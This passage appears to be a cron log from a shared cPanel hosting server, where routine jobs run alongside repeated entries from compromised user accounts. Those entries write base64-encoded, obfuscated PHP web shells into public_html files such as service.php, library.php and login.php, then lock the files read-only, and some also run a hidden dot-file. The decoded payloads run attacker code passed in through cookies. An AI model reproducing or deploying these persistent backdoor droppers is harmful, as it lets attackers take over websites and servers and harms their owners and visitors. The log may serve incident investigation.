b24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:11:02 medusa CROND[9295]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:11:02 medusa CROND[9296]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:11:02 medusa CROND[9300]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:12:02 medusa CROND[10677]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:12:02 medusa CROND[10678]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:12:02 medusa CROND[10679]: (energiae) CMD (/opt/cpanel/ea-php74/root/usr/bin/php /home5/energiae/analytics.energiaenmovimiento.com.ar/console core:archive --url=https://analytics.energiaenmovimiento.com.ar/ > /dev/null)
Jun  7 09:12:02 medusa CROND[10680]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:12:02 medusa CROND[10681]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:12:02 medusa CROND[10684]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 09:12:02 medusa CROND[10685]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 09:12:02 medusa CROND[10691]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:12:02 medusa CROND[10696]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:12:02 medusa CROND[10700]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:12:02 medusa CROND[10701]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:12:02 medusa CROND[10702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 09:12:02 medusa CROND[10703]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 09:12:02 medusa CROND[10704]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:12:02 medusa CROND[10705]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:13:01 medusa CROND[12328]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 09:13:02 medusa CROND[12376]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 09:13:02 medusa CROND[12379]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 09:13:02 medusa CROND[12380]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:13:02 medusa CROND[12382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 09:13:02 medusa CROND[12381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 09:13:02 medusa CROND[12383]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Jun  7 09:13:02 medusa CROND[12384]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:13:02 medusa CROND[12386]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 09:13:02 medusa CROND[12387]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 09:13:02 medusa CROND[12388]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 09:13:02 medusa CROND[12389]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoK